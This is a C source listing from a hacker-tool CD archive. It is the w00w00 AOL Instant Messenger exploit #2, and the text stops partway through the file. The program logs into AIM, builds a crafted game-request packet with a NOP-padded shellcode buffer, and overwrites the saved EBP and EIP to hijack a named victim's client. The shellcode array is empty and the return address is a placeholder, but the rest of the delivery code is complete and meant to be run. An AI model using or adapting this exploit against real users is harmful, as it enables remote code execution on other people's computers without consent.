home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / w00w00 / w00aimexp2 / w00aimexp2.c < prev    next >
Encoding:
C/C++ Source or Header  |  2002-04-25  |  29.7 KB  |  1,012 lines

  1. /* 
  2.  * w00w00 AOL Instant Messenger exploit
  3.  * Copyright (C) 2001-2002, w00w00
  4.  * http://www.w00w00.org
  5.  * 
  6.  * This requires libfaim (which is really awesome) to
  7.  * work. The version we used can be downloaded at
  8.  * http://jgo.local.net/libfaim. This may be redistributed
  9.  * as long as this file and its copyrights are left intact.
  10.  * Run 'make' to build this. If you use your own libfaim
  11.  * headers or libraries, change the CFLAGS in 'Makefile'
  12.  */
  13.  
  14. #include "w00aimexp2.h"
  15. #include <sys/stat.h>
  16. #include <signal.h>
  17.  
  18. #define DATA 0x02
  19. #define SNAC_DATA 0x02
  20. #define OUTGOING_MSG 0x0006
  21. #define COOKIE 0x0000
  22. #define TIMEOUT 15 // used to verify the exploit was successful
  23.  
  24. // Shellcode stuff
  25. #define NOP_OPCODE 0x90
  26. #define MAX_EXPLOIT_SIZE 5533
  27.  
  28. #define EBP_OFFSET 1501 // offset into g_exploit for EBP
  29. #define EIP_OFFSET 1505 // offset into g_exploit for EIP
  30. #define SHELLCODE_ADDR 0xaabbccdd // EIP is overwritten with this address
  31.  
  32. unsigned char g_shellcode[] = {};
  33.  
  34. unsigned char *g_exploit; // this is what will actually be sent
  35. static int g_exploit_ready = 0; // ready to send the exploit
  36.  
  37. // AddExternalApp request
  38. char g_request[] = // type 0x07
  39.   "aim:AddExternalApp?name=w00w00&url=http://www.w00w00.org";
  40.     
  41. // TLV data
  42. char g_unknown1[2] = { 0x00, 0x01 }; // type 0x0a
  43. char g_unknown2[4] = { 0x40, 0xa3, 0x1e, 0x4f }; // type 0x03
  44. char g_unknown3[2] = { 0x14, 0x46 }; // type 0x05
  45. char g_unknown4[22] = { 0x00, 0x00, 0x02, 0x00, 0x05, 0x07, 0x4c, 0x7f, 0x11, 0xd1, 0x82, 0x22,
  46.     0x44, 0x45, 0x53, 0x54, 0x00, 0x00, 0x00, 0x0b, 0x00, 0x09 };
  47.  
  48. static char *error_msgs[] =
  49. {
  50.   "Invalid error",
  51.   "Invalid SNAC",
  52.   "Rate to host",
  53.   "Rate to client",
  54.   "Not logged on",
  55.     "Service unavailable",
  56.   "Service not defined",
  57.   "Obsolete SNAC",
  58.   "Not supported by host",
  59.   "Not supported by client",
  60.   "Refused by client",
  61.   "Reply too big",
  62.   "Responses lost",
  63.   "Request denied",
  64.   "Busted SNAC payload",
  65.   "Insufficient rights",
  66.   "In local permit/deny",
  67.   "Too evil (sender)",
  68.   "Too evil (receiver)",
  69.   "User temporarily unavailable",
  70.   "No match",
  71.   "List overflow",
  72.   "Request ambiguous",
  73.   "Queue full",
  74.   "Not while on AOL",
  75. };
  76.  
  77. static int error_msgs_len = 25;
  78. aim_session_t g_session;
  79.  
  80. static void handle_timeout(int signum);
  81. static void w00aimexp_debugcb(aim_session_t *sess, int level, const char *format, va_list va);
  82.  
  83. int main(int argc, char **argv)
  84. {
  85.     aim_frame_t *exploit_frame;
  86.     unsigned long shellcode_addr = SHELLCODE_ADDR;
  87.     char *victim_screen_name, cookie[8];
  88.     int exploit_len, tlv_len, packet_len, snac_id;
  89.     int offset, tlv_size_offset, exploit_size_offset;
  90.     
  91.     int i, status, keepgoing = 1;
  92.     aim_conn_t *waitingconn = NULL;
  93.     struct timeval tv;
  94.     time_t lastnop = 0;
  95.     struct w00aimexp_priv priv = { NULL, NULL, NULL, 0 };
  96.  
  97.     printf("w00w00 AOL Instant Messenger exploit #2\n");
  98.     printf("http://www.w00w00.org\n\n");
  99.     
  100.     // Do some sanity checking on the args
  101.     
  102.     if (argc < 4)
  103.     {
  104.         fprintf(stderr,    "Usage: %s <your screen name> <your password> <victim screen name> [offset]\n", argv[0]);
  105.         exit(ERROR);
  106.     }
  107.     
  108.     if (strlen(argv[1]) < 2 || strlen(argv[1]) > 32)
  109.     {
  110.         fprintf(stderr, "Error: your screen name must be between 2-32 bytes\n");
  111.         exit(ERROR);
  112.     }
  113.  
  114.     if (strlen(argv[3]) < 2 || strlen(argv[3]) > 32)
  115.     {
  116.         fprintf(stderr, "Error: the victim's screen name must be between 2-32 bytes\n");
  117.         exit(ERROR);
  118.     }
  119.     
  120.     priv.aimbinarypath = ".";
  121.     priv.screenname = argv[1];
  122.     priv.password = argv[2];
  123.     victim_screen_name = argv[3];
  124.  
  125.     if (argc > 4) shellcode_addr += atoi(argv[4]);
  126.     
  127.     ///////////////////////////////////////////////////////////////
  128.     // Do the initializations
  129.     
  130.     aim_session_init(&g_session, 0, 1);
  131.     aim_setdebuggingcb(&g_session, w00aimexp_debugcb);
  132.     g_session.aux_data = &priv;
  133.  
  134.     putchar('\n');
  135.  
  136.     if (login(&g_session, priv.screenname, priv.password) == ERROR) exit(ERROR);
  137.  
  138.     while (keepgoing)
  139.     {
  140.         if (g_exploit_ready)
  141.         {
  142.             printf("\nSigned in successfully. Sending exploit code to \"%s\"\n",
  143.                     victim_screen_name);
  144.     
  145.             ///////////////////////////////////////////////////////////
  146.             // Generate the exploit packet
  147.             
  148.             packet_len = MAX_EXPLOIT_SIZE + strlen(victim_screen_name);
  149.             exploit_frame = (aim_frame_t *)aim_tx_new(&g_session, aim_getconn_type(&g_session, 
  150.                         AIM_CONN_TYPE_BOS),    AIM_FRAMETYPE_FLAP, DATA, packet_len);
  151.  
  152.             if (!exploit_frame)
  153.             {
  154.                 fprintf(stderr, "Error: failed to allocate a packet frame\n");
  155.                 exit(ERROR);
  156.             }
  157.             
  158.             // Generate SNAC data
  159.             snac_id = aim_cachesnac(&g_session, AIM_CB_FAM_MSG, OUTGOING_MSG, 0, 
  160.                     victim_screen_name, strlen(victim_screen_name) + 1);
  161.             aim_putsnac(&exploit_frame->data, AIM_CB_FAM_MSG, OUTGOING_MSG, 0, snac_id);
  162.             
  163.             srand(time(NULL));
  164.  
  165.             // Generate a random cookie
  166.             for (i = 0; i < 8; i++) cookie[i] = (unsigned char)((rand() % 255) + 1);
  167.             aimbs_putraw(&exploit_frame->data, cookie, 8);
  168.             
  169.             // Set channel type
  170.             aimbs_put16(&exploit_frame->data, SNAC_DATA);
  171.  
  172.             // Set destination
  173.             aimbs_put8(&exploit_frame->data, strlen(victim_screen_name));
  174.             aimbs_putraw(&exploit_frame->data, victim_screen_name, strlen(victim_screen_name));
  175.             
  176.             //////////////////////////////////////////////////////////
  177.             // Setup TLV fields (this is the critical part)
  178.             
  179.             // This is the outermost TLV that contains all the others
  180.             aimbs_put16(&exploit_frame->data, 0x05); // TLV type
  181.             tlv_size_offset = exploit_frame->data.offset;
  182.             aimbs_put16(&exploit_frame->data, 0x00); // updated later
  183.             
  184.             // Add the cookie again
  185.             aimbs_put16(&exploit_frame->data, 0x00);
  186.             aimbs_putraw(&exploit_frame->data, cookie, 8);
  187.             
  188.             // Set the capability
  189.             aim_putcap(&exploit_frame->data, AIM_CAPS_SAVESTOCKS);
  190.             
  191.             // I don't know what this does
  192.             aimbs_put16(&exploit_frame->data, 0x0a); // TLV type
  193.             aimbs_put16(&exploit_frame->data, 2); // TLV length
  194.             aimbs_putraw(&exploit_frame->data, g_unknown1, 2);
  195.         
  196.             // I don't know what this does
  197.             aimbs_put16(&exploit_frame->data, 0x0f); // TLV type
  198.             aimbs_put16(&exploit_frame->data, 0); // TLV length
  199.             
  200.             // Set language
  201.             aimbs_put16(&exploit_frame->data, 0x0e); // TLV type
  202.             aimbs_put16(&exploit_frame->data, 2); // TLV length
  203.             aimbs_putraw(&exploit_frame->data, "en", 2);
  204.             
  205.             // Set charset
  206.             aimbs_put16(&exploit_frame->data, 0x0d); // TLV type
  207.             aimbs_put16(&exploit_frame->data, 8); // TLV length
  208.             aimbs_putraw(&exploit_frame->data, "us-ascii", 8);
  209.  
  210.             // I don't know what this does
  211.             aimbs_put16(&exploit_frame->data, 0x0c); // TLV type
  212.             aimbs_put16(&exploit_frame->data, 6); // TLV length
  213.             aimbs_putraw(&exploit_frame->data, "w00w00", 6);    
  214.  
  215.             // I don't know what this does
  216.             aimbs_put16(&exploit_frame->data, 0x03); // TLV type
  217.             aimbs_put16(&exploit_frame->data, 4); // TLV length
  218.             aimbs_putraw(&exploit_frame->data, g_unknown2, 4);
  219.             
  220.             // I don't know what this does
  221.             aimbs_put16(&exploit_frame->data, 0x05); // TLV type
  222.             aimbs_put16(&exploit_frame->data, 2); // TLV length
  223.             aimbs_putraw(&exploit_frame->data, g_unknown3, 2);
  224.  
  225.             // Add the game request
  226.             aimbs_put16(&exploit_frame->data, 0x07); // TLV type
  227.             aimbs_put16(&exploit_frame->data, strlen(g_request)); // TLV length
  228.             aimbs_putraw(&exploit_frame->data, g_request, strlen(g_request));
  229.             
  230.             //////////////////////////////////////////////////////////
  231.             // Add the exploit code
  232.             
  233.             aimbs_put16(&exploit_frame->data, 0x2712); // TLV type
  234.             exploit_size_offset = exploit_frame->data.offset;
  235.             aimbs_put16(&exploit_frame->data, 0); // to be set later
  236.             aimbs_putraw(&exploit_frame->data, g_unknown4, sizeof(g_unknown4));
  237.  
  238.             // Exploit length = total - everything before this (exploit is at the end)
  239. #ifdef USE_FULL_SIZE
  240.             exploit_len = packet_len - exploit_frame->data.offset;
  241. #else
  242.             exploit_len = EIP_OFFSET + 4;
  243. #endif
  244.             
  245.             // Sanity check the buffer sizes
  246.             assert(sizeof(g_shellcode) < exploit_len);
  247.                 
  248.             g_exploit = (unsigned char *)malloc(exploit_len);
  249.             if (!g_exploit)
  250.             {
  251.                 fprintf(stderr, "Error: failed to allocate %d bytes\n", exploit_len);
  252.                 exit(ERROR);
  253.             }
  254.             
  255.             // Pad buffer with NOPs to give more room for error
  256.             memset(g_exploit, NOP_OPCODE, exploit_len);
  257.             
  258. #ifdef USE_FULL_SIZE
  259.             // Put the shellcode at the end
  260.             offset = exploit_len - sizeof(g_shellcode);
  261.             memcpy(g_exploit + offset, g_shellcode, sizeof(g_shellcode));
  262. #else
  263.             // Put the shellcode towards the end
  264.             offset = exploit_len - sizeof(g_shellcode) - 8; // leave room for address
  265.             memcpy(g_exploit + offset, g_shellcode, sizeof(g_shellcode));
  266.             offset += sizeof(g_shellcode);
  267.             assert(offset == EBP_OFFSET);
  268.  
  269.             // This is an invalid address that will trigger an exception handler
  270.             // After the exception is handled, the shellcode will execute
  271.             *((unsigned long *)(g_exploit + EBP_OFFSET)) = 0xffffffff;
  272. #endif
  273.             
  274.             // Set EIP to an address in our shellcode
  275.             *((unsigned long *)(g_exploit + EIP_OFFSET)) = shellcode_addr;
  276.             
  277.             // Add the shellcode to the end of the exploit packet
  278.             aimbs_putraw(&exploit_frame->data, g_exploit, exploit_len);
  279.             
  280.             // Update the lengths we skipped over
  281.             offset = exploit_frame->data.offset - tlv_size_offset - 2;
  282.             aimutil_put16(exploit_frame->data.data + tlv_size_offset, offset);
  283.             aimutil_put16(exploit_frame->data.data + exploit_size_offset, exploit_len + sizeof(g_unknown4));
  284.             
  285.             // Shrink the packet size to avoid wasted bytes
  286.             packet_len = exploit_frame->data.len = exploit_frame->data.offset;
  287.  
  288.             printf("\nSize of exploit packet: %d bytes\n", packet_len);
  289.             printf("Shellcode size: %d\n", sizeof(g_shellcode));
  290. #ifdef USE_FULL_SIZE
  291.             printf("Room left for NOPs: %d\n", exploit_len - sizeof(g_shellcode));
  292. #else
  293.             printf("Room left for NOPs: %d\n", exploit_len - sizeof(g_shellcode) - 8);
  294. #endif
  295.             printf("Using address 0x%.8lx\n", shellcode_addr);
  296.             putchar('\n');
  297.  
  298. #if 0
  299.             // I output this to stderr rather than stdout so that it can be
  300.             // output separately from everything else
  301.             
  302.             fprintf(stderr, "Data about to be sent (excluding FLAP header):\n");
  303.             for (i = 0; i < packet_len; i++)
  304.             {
  305.                 fprintf(stderr, "\\x%.2x", exploit_frame->data.data[i]);
  306.                 if (!((i + 1) % 15)) fprintf(stderr, "\n");
  307.             }
  308.             fprintf(stderr, "\n");
  309.  
  310.             sleep(5);
  311. #endif
  312.  
  313.             // Queue exploit frame to be sent and wait for response
  314.             aim_tx_enqueue(&g_session, exploit_frame);
  315.             g_exploit_ready = 0;
  316.             signal(SIGALRM, handle_timeout);
  317.             alarm(TIMEOUT);
  318.             
  319.             printf("The exploit has been sent\n", TIMEOUT);
  320.         }
  321.         
  322.         tv.tv_sec = 5, tv.tv_usec = 0; // set a 5 second timeout
  323.         waitingconn = aim_select(&g_session, &tv, &status);
  324.         
  325.         if (priv.connected && ((time(NULL) - lastnop) > 30))
  326.         {
  327.             lastnop = time(NULL);
  328.             aim_flap_nop(&g_session, aim_getconn_type(&g_session, AIM_CONN_TYPE_BOS));
  329.         }
  330.  
  331.         if (status == ERROR)
  332.         { /* error */
  333.             keepgoing = 0; /* fall through */
  334.         }
  335.         else if (status == 0)
  336.         {
  337.              /* no events pending */
  338.         }
  339.         else if (status == 1)
  340.         { 
  341.             /* outgoing data pending */
  342.             aim_tx_flushqueue(&g_session);
  343.         } 
  344.         else if (status == 2)
  345.         { 
  346.             if (waitingconn->type == AIM_CONN_TYPE_RENDEZVOUS_OUT)
  347.             {
  348.                 if (aim_handlerendconnect(&g_session, waitingconn) < 0)
  349.                 {
  350.                     fprintf(stderr, "Connection error (rend out)\n");
  351.                     aim_conn_kill(&g_session, &waitingconn);
  352.                 }
  353.             }
  354.             else
  355.             {
  356.                 if (aim_get_command(&g_session, waitingconn) >= 0)
  357.                 {
  358.                     aim_rxdispatch(&g_session);
  359.                 }
  360.                 else
  361.                 {
  362.                     fprintf(stderr, "Connection error (type 0x%04x:0x%04x)\n", waitingconn->type, waitingconn->subtype);
  363.                     
  364.                     /* we should have callbacks for all these, else the library will do the conn_kill for us. */
  365.                     if (waitingconn->type == AIM_CONN_TYPE_RENDEZVOUS)
  366.                     {
  367.                         if (waitingconn->subtype == AIM_CONN_SUBTYPE_OFT_DIRECTIM)
  368.                         {
  369.                             fprintf(stderr, "Disconnected from %s\n", aim_directim_getsn(waitingconn));
  370.                         }
  371.                         
  372.                         aim_conn_kill(&g_session, &waitingconn);
  373.                     }
  374.                     else
  375.                     {
  376.                         aim_conn_kill(&g_session, &waitingconn);
  377.                     }
  378.                     
  379.                     if (!aim_getconn_type(&g_session, AIM_CONN_TYPE_BOS))
  380.                     {
  381.                         fprintf(stderr, "Major connection error\n");
  382.                         exit(ERROR);
  383.                     }
  384.                 }
  385.             }
  386.         }
  387.     }
  388.  
  389.     assert(0); // this should never be reached
  390. }
  391.  
  392. static void handle_timeout(int signum)
  393. {
  394.     printf("\nNo confirmation that the exploit worked. Check manually.\n");
  395.     free(g_exploit);
  396.     aim_session_kill(&g_session);
  397.     exit(0);
  398. }
  399.  
  400. /* 
  401.  * This is used to intercept debugging/diagnostic messages from libfaim.
  402.  *
  403.  * Note that you should have one of these even if you use a debuglevel of
  404.  * zero, as libfaim will send serious errors to stderr by default.
  405.  *
  406.  */
  407. static void w00aimexp_debugcb(aim_session_t *sess, int level, const char *format, va_list va)
  408. {
  409. #ifdef DEBUG_LIBFAIM
  410.     //printf("[libfaim] "); // TODO: remove
  411.     vprintf(format, va);
  412. #endif
  413. }
  414.  
  415. /*
  416.  * This is a frivilous callback. You don't need it. I only used it for
  417.  * debugging non-blocking connects.
  418.  *
  419.  * If packets are sent to a conn before its fully connected, they
  420.  * will be queued and then transmitted when the connection completes.
  421.  *
  422.  */
  423. int w00aimexp_conncomplete(aim_session_t *sess, aim_frame_t *fr, ...)
  424. {
  425.     va_list ap;
  426.     aim_conn_t *conn;
  427.  
  428.     va_start(ap, fr);
  429.     conn = va_arg(ap, aim_conn_t *);
  430.     va_end(ap);
  431.  
  432.     if (conn)
  433.     {
  434.         dvprintf("Connection completed on socket %d (type %d)\n",
  435.                 conn->fd, conn->type);
  436.     }
  437.     return 1;
  438. }
  439.  
  440. int w00aimexp_serverready(aim_session_t *sess, aim_frame_t *fr, ...)
  441. {
  442.     int famcount, i;
  443.     fu16_t *families;
  444.     va_list ap;
  445.  
  446.     va_start(ap, fr);
  447.     famcount = va_arg(ap, int);
  448.     families = va_arg(ap, fu16_t *);
  449.     va_end(ap);
  450.  
  451. #if 0
  452.     dvprintf("SNAC families supported by this host (type %d): ", fr->conn->type);
  453.     for (i = 0; i < famcount; i++) dvinlineprintf("0x%04x ", families[i]);
  454.     dinlineprintf("\n");
  455. #endif
  456.     
  457.     if (fr->conn->type == AIM_CONN_TYPE_AUTH)
  458.     {
  459.         aim_auth_setversions(sess, fr->conn);
  460.         aim_bos_reqrate(sess, fr->conn); /* request rate info */
  461.         dprintf("Done with authenication server ready\n");
  462.     }
  463.     else if (fr->conn->type == AIM_CONN_TYPE_BOS)
  464.     {
  465.         aim_setversions(sess, fr->conn);
  466.         aim_bos_reqrate(sess, fr->conn); /* request rate info */
  467.         dprintf("Done with BOS server ready\n");
  468.     }
  469.  
  470.     return 1;
  471. }
  472.  
  473. static int w00aimexp_parse_clienterr(aim_session_t *sess, aim_frame_t *fr, ...)
  474. {
  475.     va_list ap;
  476.     fu16_t error_code;
  477.     char *msg;
  478.  
  479.     va_start(ap, fr);
  480.     error_code = va_arg(ap, int);
  481.     msg = va_arg(ap, char *);
  482.     va_end(ap);
  483.     
  484.     // error code 2 is what we want, though it doesn't necessarily mean it worked
  485.     if (error_code == 0x02)
  486.     {
  487.         alarm(0);
  488.     }
  489.     else
  490.     {
  491.         fprintf(stderr, "Error: error with \"%s\" (error code 0x%.2x)\n", msg, error_code);
  492.     }
  493.  
  494.     free(g_exploit);
  495.     aim_session_kill(&g_session);
  496.     exit(0);
  497. }
  498.  
  499. int w00aimexp_parse_connerr(aim_session_t *sess, aim_frame_t *fr, ...)
  500. {
  501.     struct w00aimexp_priv *priv = (struct w00aimexp_priv *)sess->aux_data;
  502.     va_list ap;
  503.     fu16_t error_code;
  504.     char *msg;
  505.  
  506.     va_start(ap, fr);
  507.     error_code = va_arg(ap, int);
  508.     msg = va_arg(ap, char *);
  509.     va_end(ap);
  510.  
  511.     fprintf(stderr, "Connection error (error code = 0x%04x): %s\n", error_code, msg);
  512.     aim_conn_kill(sess, &fr->conn); /* this will break the main loop */
  513.  
  514.     priv->connected = 0;
  515.     exit(ERROR);
  516. }
  517.  
  518. static int w00aimexp_rateresp_bos(aim_session_t *sess, aim_frame_t *fr, ...)
  519. {
  520.     struct w00aimexp_priv *priv = (struct w00aimexp_priv *)sess->aux_data;
  521.     char buddies[128]; /* this is the new buddy list */
  522.     char profile[256]; /* this is the new profile */ 
  523.     char awaymsg[] = { "w00w00 AOL Instant Messenger exploit" };
  524.  
  525.     snprintf(profile, sizeof(profile), "w00w00 AOL Instant Messenger exploit");
  526.  
  527.     aim_bos_ackrateresp(sess, fr->conn);  /* ack rate info response */
  528.     aim_bos_reqpersonalinfo(sess, fr->conn);
  529.     aim_bos_reqlocaterights(sess, fr->conn);
  530.     aim_bos_setprofile(sess, fr->conn, profile, awaymsg, AIM_CAPS_SAVESTOCKS);
  531.     aim_bos_reqbuddyrights(sess, fr->conn);
  532.  
  533.     /* send the buddy list and profile (required, even if empty) */
  534.     aim_bos_setbuddylist(sess, fr->conn, buddies);
  535.  
  536.     aim_reqicbmparams(sess, fr->conn);  
  537.     aim_bos_reqrights(sess, fr->conn);  
  538.     
  539.     /* set group permissions -- all user classes */
  540.     aim_bos_setgroupperm(sess, fr->conn, AIM_FLAG_ALLUSERS);
  541.     aim_bos_setprivacyflags(sess, fr->conn, AIM_PRIVFLAGS_ALLOWIDLE);
  542.  
  543.     // Now that our capabilities have been sent, start the exploit
  544.     //g_exploit_ready = 1;
  545.     
  546.     return 1;
  547. }
  548.  
  549. static int w00aimexp_icbmparaminfo(aim_session_t *sess, aim_frame_t *fr, ...)
  550. {
  551.     struct aim_icbmparameters *params;
  552.     va_list ap;
  553.  
  554.     va_start(ap, fr);
  555.     params = va_arg(ap, struct aim_icbmparameters *);
  556.     va_end(ap);
  557.  
  558. #if 0
  559.     dvprintf("ICBM parameters (maxchannel = %d, default flags = 0x%08lx, max msg len = %d, "
  560.             "max sender evil = %f, max reciever evil = %f, min msg interval = %ld)\n",
  561.             params->maxchan, params->flags, params->maxmsglen, ((float)params->maxsenderwarn) / 10.0,
  562.             ((float)params->maxrecverwarn) / 10.0, params->minmsginterval);
  563. #endif
  564.     
  565.     /*
  566.      * Set these to your taste, or client medium.  Setting minmsginterval
  567.      * higher is good for keeping yourself from getting flooded (esp
  568.      * if you're on a slow connection or something where that would be
  569.      * useful).
  570.      */
  571.     params->maxmsglen = 8000;
  572.     params->minmsginterval = 0; /* in milliseconds */
  573.  
  574.     aim_seticbmparam(sess, fr->conn, params);
  575.     return 1;
  576. }
  577.  
  578. static int w00aimexp_hostversions(aim_session_t *sess, aim_frame_t *fr, ...)
  579. {
  580.     int vercount, i;
  581.     fu8_t *versions;
  582.     va_list ap;
  583.  
  584.     va_start(ap, fr);
  585.     vercount = va_arg(ap, int); /* number of family/version pairs */
  586.     versions = va_arg(ap, fu8_t *);
  587.     va_end(ap);
  588.  
  589. #if 0
  590.     dprintf("SNAC versions supported by this host: ");
  591.     for (i = 0; i < vercount*4; i += 4)
  592.     {
  593.         dvinlineprintf("0x%04x:0x%04x ", 
  594.             aimutil_get16(versions+i),  /* SNAC family */
  595.             aimutil_get16(versions+i+2) /* Version number */);
  596.     }
  597.     dinlineprintf("\n");
  598. #endif
  599.  
  600.     return 1;
  601. }
  602.  
  603. static int w00aimexp_parse_buddyrights(aim_session_t *sess, aim_frame_t *fr, ...)
  604. {
  605.     va_list ap;
  606.     fu16_t maxbuddies, maxwatchers;
  607.  
  608.     va_start(ap, fr);
  609.     maxbuddies = va_arg(ap, int);
  610.     maxwatchers = va_arg(ap, int);
  611.     va_end(ap);
  612.  
  613.     //dvprintf("Buddy list rights (max buddies = %d, max watchers = %d)\n", maxbuddies, maxwatchers);
  614.     return 1;
  615. }
  616.  
  617. static int w00aimexp_bosrights(aim_session_t *sess, aim_frame_t *fr, ...)
  618. {
  619.     va_list ap;
  620.     fu16_t maxpermits, maxdenies;
  621.  
  622.     va_start(ap, fr);
  623.     maxpermits = va_arg(ap, int);
  624.     maxdenies = va_arg(ap, int);
  625.     va_end(ap);
  626.  
  627.     //dvprintf("BOS rights (max permit = %d, max deny = %d)\n", maxpermits, maxdenies);
  628.     aim_bos_clientready(sess, fr->conn);
  629.     dprintf("Connected to BOS\n");
  630.  
  631.     return 1;
  632. }
  633.  
  634. static int w00aimexp_locrights(aim_session_t *sess, aim_frame_t *fr, ...)
  635. {
  636.     va_list ap;
  637.     fu16_t maxsiglen;
  638.  
  639.     va_start(ap, fr);
  640.     maxsiglen = va_arg(ap, int);
  641.     va_end(ap);
  642.  
  643.     //dvprintf("Locate rights (max signature length = %d)\n", maxsiglen);
  644.     return 1;
  645. }
  646.  
  647. static int w00aimexp_reportinterval(aim_session_t *sess, aim_frame_t *fr, ...)
  648. {
  649.     struct w00aimexp_priv *priv = (struct w00aimexp_priv *)sess->aux_data;
  650.     va_list ap;
  651.     fu16_t interval;
  652.  
  653.     va_start(ap, fr);
  654.     interval = va_arg(ap, int);
  655.     va_end(ap);
  656.  
  657.     //dvprintf("Minimum report interval (%d seconds)\n", interval);
  658.  
  659.     if (!priv->connected) priv->connected++;
  660.     aim_reqicbmparams(sess, fr->conn);
  661.     
  662.     g_exploit_ready = 1;
  663.     return 1;
  664. }
  665.  
  666. static void printuserflags(fu16_t flags)
  667. {
  668.     if (flags & AIM_FLAG_UNCONFIRMED) dinlineprintf("UNCONFIRMED ");
  669.     if (flags & AIM_FLAG_ADMINISTRATOR) dinlineprintf("ADMINISTRATOR ");
  670.     if (flags & AIM_FLAG_AOL) dinlineprintf("AOL ");
  671.     if (flags & AIM_FLAG_OSCAR_PAY) dinlineprintf("OSCAR_PAY ");
  672.     if (flags & AIM_FLAG_FREE) dinlineprintf("FREE ");
  673.     if (flags & AIM_FLAG_AWAY) dinlineprintf("AWAY ");
  674.     if (flags & AIM_FLAG_UNKNOWN40) dinlineprintf("ICQ? ");
  675.     if (flags & AIM_FLAG_UNKNOWN80) dinlineprintf("UNKNOWN80 ");
  676.     return;
  677. }
  678.  
  679. /*
  680.  * Channel 1: Standard Message
  681.  */
  682. static int w00aimexp_parse_incoming_im_chan1(aim_session_t *sess, aim_conn_t *conn, struct aim_userinfo_s *userinfo, struct aim_incomingim_ch1_args *args)
  683. {
  684.     struct w00aimexp_priv *priv = (struct w00aimexp_priv *)sess->aux_data;
  685.     char *tmpstr;
  686.     int clienttype = AIM_CLIENTTYPE_UNKNOWN;
  687.     char realmsg[8192+1] = {""};
  688.  
  689.     clienttype = aim_fingerprintclient(args->features, args->featureslen);
  690.  
  691.     dvprintf("Incoming message: screen name = \"%s\", client type = %d, warn level = %d\n",
  692.             userinfo->sn, clienttype, userinfo->warnlevel);
  693.     dvprintf("Flags = 0x%04x [ ", userinfo->flags);
  694.     printuserflags(userinfo->flags);
  695.     dinlineprintf("]\n");
  696.  
  697.     dvprintf("Member since %lu, online since = %lu, idletime = 0x%04x, capabilities = 0x%04x\n",
  698.             userinfo->membersince, userinfo->onlinesince, userinfo->idletime, userinfo->capabilities);
  699.  
  700.     dprintf("Flags 2 = [ ");
  701.     if (args->icbmflags & AIM_IMFLAGS_AWAY) dinlineprintf("away ");
  702.     if (args->icbmflags & AIM_IMFLAGS_ACK) dinlineprintf("ackrequest ");
  703.     if (args->icbmflags & AIM_IMFLAGS_BUDDYREQ) dinlineprintf("buddyreq ");
  704.     if (args->icbmflags & AIM_IMFLAGS_HASICON) dinlineprintf("hasicon ");
  705.     dinlineprintf("]\n");
  706.  
  707.     if (args->icbmflags & AIM_IMFLAGS_CUSTOMCHARSET)
  708.     {
  709.         dvprintf("Encoding flags: character set = %04x, character subset = %04x\n", args->charset, args->charsubset);
  710.     }
  711.  
  712.     /*
  713.      * Quickly convert it to eight bit format, replacing non-ASCII UNICODE 
  714.      * characters with their equivelent HTML entity.
  715.      */
  716.     if (args->icbmflags & AIM_IMFLAGS_UNICODE)
  717.     {
  718.         int i;
  719.  
  720.         for (i = 0; i < args->msglen; i += 2)
  721.         {
  722.             fu16_t uni;
  723.  
  724.             uni = ((args->msg[i] & 0xff) << 8) | (args->msg[i+1] & 0xff);
  725.  
  726.             if ((uni < 128) || ((uni >= 160) && (uni <= 255))) { /* ISO 8859-1 */
  727.  
  728.                 snprintf(realmsg+strlen(realmsg), sizeof(realmsg)-strlen(realmsg), "%c", uni);
  729.  
  730.             }
  731.             else
  732.             { 
  733.                 /* something else, do UNICODE entity */
  734.                 snprintf(realmsg+strlen(realmsg), sizeof(realmsg)-strlen(realmsg), "&#%04x;", uni);
  735.             }
  736.         }
  737.     }
  738.     
  739.     else
  740.     {
  741.         /*
  742.          * For non-UNICODE encodings (ASCII and ISO 8859-1), there is 
  743.          * no need to do anything special here.  Most 
  744.          * terminals/whatever will be able to display such characters 
  745.          * unmodified.
  746.          *
  747.          * Beware that PC-ASCII 128 through 159 are _not_ actually 
  748.          * defined in ASCII or ISO 8859-1, and you should send them as 
  749.          * UNICODE.  WinAIM will send these characters in a UNICODE 
  750.          * message, so you need to do so as well.
  751.          *
  752.          * You may not think it necessary to handle UNICODE messages.  
  753.          * You're probably wrong.  For one thing, Microsoft "Smart
  754.          * Quotes" will be sent by WinAIM as UNICODE (not HTML UNICODE,
  755.          * but real UNICODE). If you don't parse UNICODE at all, your 
  756.          * users will get a blank message instead of the message 
  757.          * containing Smart Quotes.
  758.          *
  759.          */
  760.         strncpy(realmsg, args->msg, sizeof(realmsg));
  761.     }
  762.  
  763.     dvprintf("Message: %s\n", realmsg);
  764.  
  765.     if (args->icbmflags & AIM_IMFLAGS_MULTIPART)
  766.     {
  767.         aim_mpmsg_section_t *sec;
  768.         int z;
  769.  
  770.         dvprintf("This message has %d part(s)\n", args->mpmsg.numparts);
  771.  
  772.         for (sec = args->mpmsg.parts, z = 0; sec; sec = sec->next, z++)
  773.         {
  774.             if ((sec->charset == 0x0000) || (sec->charset == 0x0003) || (sec->charset == 0xffff))
  775.             {
  776.                 dvprintf("Part %d (charset 0x%04x, subset 0x%04x): %s\n", z+1, sec->charset, sec->charsubset, sec->data);
  777.             }
  778.             else
  779.             {
  780.                 dvprintf("Part %d (charset 0x%04x, subset 0x%04x, binary/unicode)\n", z+1, sec->charset, sec->charsubset);
  781.             }
  782.         }
  783.     }
  784.  
  785.     return 1;
  786. }
  787.  
  788. /*
  789.  * Channel 2: Rendevous Request
  790.  */
  791. static int w00aimexp_parse_incoming_im_chan2(aim_session_t *sess, aim_conn_t *conn, struct aim_userinfo_s *userinfo, struct aim_incomingim_ch2_args *args)
  792. {
  793.     dvprintf("Incoming message (class %d)\n", args->reqclass);
  794.     assert(0);
  795.     return 1;
  796. }
  797.  
  798. static int w00aimexp_parse_incoming_im(aim_session_t *sess, aim_frame_t *fr, ...)
  799. {
  800.     fu16_t channel;
  801.     struct aim_userinfo_s *userinfo;
  802.     va_list ap;
  803.     int ret = 0;
  804.  
  805.     va_start(ap, fr);
  806.     channel = (fu16_t)va_arg(ap, unsigned int);
  807.     userinfo = va_arg(ap, struct aim_userinfo_s *);
  808.  
  809.     if (channel == 1)
  810.     {
  811.         struct aim_incomingim_ch1_args *args;
  812.         args = va_arg(ap, struct aim_incomingim_ch1_args *);
  813.         ret = w00aimexp_parse_incoming_im_chan1(sess, fr->conn, userinfo, args);
  814.     }
  815.     else if (channel == 2)
  816.     {
  817.         struct aim_incomingim_ch2_args *args;
  818.         args = va_arg(ap, struct aim_incomingim_ch2_args *);
